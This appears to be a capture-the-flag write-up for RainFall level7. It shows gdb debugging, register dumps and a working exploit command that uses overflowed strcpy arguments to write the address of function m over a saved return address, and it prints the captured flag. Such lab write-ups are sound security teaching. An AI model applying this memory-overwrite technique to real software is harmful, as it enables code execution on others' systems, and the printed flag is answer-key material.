This program is tough to work with using gdb, because it reads a file but we don't have permission. To bypass this, we can change it so we're printing the current level flag. We need to be very careful tho, because changing the filename could alter the memory in some ways !!

We need to call function m cause it prints 0x8049960 which is the destination of fgets(flag) earlier in the main function. We can use 2 arguments to manipulate the stack as desired.

We get the return address with b *main+0 p $esp, and the address of m with p m.

we need to put the value 0x80484f4 at the address 0xbffffc5c.

We notice that the program segfault when argv[0] has more than 20 character, let's try to examine that.

We can see it breaks in the second strcpy, exactly at this instruction :

(gdb) x/10i $eip
=> 0xb7eb8f52:  mov    %eax,(%edx)
   0xb7eb8f54:  mov    0x4(%ecx),%al
   0xb7eb8f57:  mov    %al,0x4(%edx)
   0xb7eb8f5a:  mov    %edx,%eax
   0xb7eb8f5c:  ret
   0xb7eb8f5d:  lea    0x0(%esi),%esi
   0xb7eb8f60:  mov    (%ecx),%eax
   0xb7eb8f62:  mov    %eax,(%edx)
   0xb7eb8f64:  mov    0x4(%ecx),%ax
   0xb7eb8f68:  mov    %ax,0x4(%edx)
(gdb) i r
eax            0x74736574       1953719668
ecx            0xbffffe29       -1073742295
edx            0x46464646       1179010630
ebx            0xb7fd0ff4       -1208152076
esp            0xbffffc0c       0xbffffc0c
ebp            0xbffffc38       0xbffffc38
esi            0x0      0
edi            0x0      0
eip            0xb7eb8f52       0xb7eb8f52
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51


we are trying to copy to the address 0x46464646 which is nonsense, however what we are trying to put is eax or 0x74736574, or "test" in ascii, that's the second argument placeholder I used ! This is great, it means we can put any number at any place ! we just have to put the address of m into the ret address.

level7@RainFall:~$ ./level7 `python -c "print('A'*20+'\x5c\xfc\xff\xbf')"` `python -c "print('\xf4\x84\x04\x08')"`
~~
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
 - 1747683470
Segmentation fault (core dumped)
level7@RainFall:~$

:)